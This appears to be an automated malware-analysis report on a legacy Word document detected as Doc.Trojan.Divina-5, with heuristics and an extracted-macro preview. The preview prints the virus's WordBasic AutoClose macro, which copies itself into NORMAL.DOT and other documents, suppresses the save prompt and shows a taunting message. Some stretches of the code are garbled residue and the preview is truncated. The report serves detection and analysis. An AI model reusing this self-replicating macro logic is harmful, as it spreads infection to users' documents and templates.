MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to execute automatically when the document is closed, indicating a malicious intent to run arbitrary code. The ClamAV detection 'Doc.Trojan.Divina-5' further supports the malicious nature of the file.
Heuristics 4
-
ClamAV: Doc.Trojan.Divina-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Divina-5
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4245 bytes |
SHA-256: 1504ce9c1b404fd4016df65f56d254142abf826f11d77099419ca605b20559ec |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
Infezione
WordBasic.Call "Effetti"
End Sub
Private Sub Infezione()
Dim fileattuale$
Dim dataeoraatt$
Dim dataeorasalv$
Dim dlg As Object
Dim macrodot$
Dim normaldot$
Dim trovata$
Dim NumeroMacro
Dim i
Dim macro$
Dim libcopia1$
Dim timer_
'** Salva come modello
'** Non rileva di essere in rete
'* memorizza in fileattuale il nome del doc aperto
'* continua se il doc è nuovo e non ha ancora un nome
fileattuale$ = ""
On Error Resume Next
fileattuale$ = WordBasic.[FileName$]()
'* calcola data e ora e minuto dell ultimo salvataggio
dataeoraatt$ = WordBasic.[Date$]() + " " + WordBasic.[Time$]()
dataeorasalv$ = ""
If fileattuale$ <> "" Then
WordBasic.FileSummaryInfo FileName:=fileattuale$
Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo dlg
dataeorasalv$ = dlg.LastSavedDate
End If
'* se il minuto dell ultimo salvataggio è quello attuale
'* allora termina per non entrare in loop
'* termina anche se il documento è nuovo e non ancora salvato
'* o se è un file senza datasalvataggio, tipo un txt (che non sovrascrive)
If dataeorasalv$ = dataeoraatt$ Or dataeorasalv$ = "" Then GoTo fine
'* trova dove è la macro
macrodot$ = WordBasic.[MacroFileName$]("AutoClose")
'* trova path e disabilita la richiesta di salvataggio di normal
normaldot$ = UCase(WordBasic.[DefaultDir$](2) + "\NORMAL.DOT")
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
'* controlla se ci è già una autoclose in normal
trovata$ = "false"
NumeroMacro = WordBasic.CountMacros()
For i = 1 To NumeroMacro
macro$ = WordBasic.[MacroName$](i, 0)
If macro$ = "AutoClose" Then trovata$ = "true"
Next i
'* copia la macro in fileattuale, salvandolo come modello, o in normal
'* va effettuata una sola copia o si ha errore (vedi: libcopia$="true")
libcopia1$ = "false"
If fileattuale$ <> "" And fileattuale$ <> normaldot$ And fileattuale$ <> macrodot$ Then
WordBasic.FileSaveAs Format:=1
WordBasic.Organizer Copy:=1, Source:=macrodot$, Destination:=fileattuale$, Name:="AutoClose", Tab:=3
libcopia1$ = "true"
End If
If fileattuale$ <> "" And fileattuale$ <> normaldot$ And fileattuale$ = macrodot$ And libcopia1$ = "false" And trovata$ = "false" Then WordBasic.Organizer Copy:=1, Source:=fileattuale$, Destination:=normaldot$, Name:="AutoClose", Tab:=3
'*
' non implementato perchè sovrascrive una altra AutoClose in filedot
' ogni tanto copia la macro in un altro modello
' min = Minute(Now())
' filedot$ = ""
' If min = 30 Or min = 45 Then filedot$ = Files$(DefaultDir$(2) + "\*.DOT")
' If fil
6å‘4| Èr Øp
WordBasic.ToolsGetSpelling ( + <> WordBasic.ToolsGetSpelling( WordBasic.ToolsGetSpelling( <> WordBasic.ToolsGetSpelling( + + (Close , Unrecognized_Argument43242 Mod <> WordBasic.ToolsGetSpelling( WordBasic.ToolsGetSpelling( WordBasic.ToolsGetSpelling( WordBasic.Unrecognized_Statement29681 Then WordBasic.ToolsGetSpelling <> Lib Mod <> WordBasic.ToolsGetSpelling( + * On + End Goto WordBasic.ToolsGetSpelling( <> WordBasic.PrintStatusBar ))))))))))
6˜‹�Þæ© æz•
'Next x
WordBasic.Beep
WordBasic.MsgBox "Questo computer non è ben protetto contro i virus ..." + Chr(10) + "A presto !", "", 48
WordBasic.ToggleFull
salvataggioRob:
Err.Number = 0
On Error GoTo -1: On Error GoTo salvataggioRob
WordBasic.FileSaveAll 0
For x = 1 To 2
For timer_ = 1 To (1000 * x)
Next timer_
Next x
WordBasic.Beep
riprendi:
Err.Number = 0
On Err
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.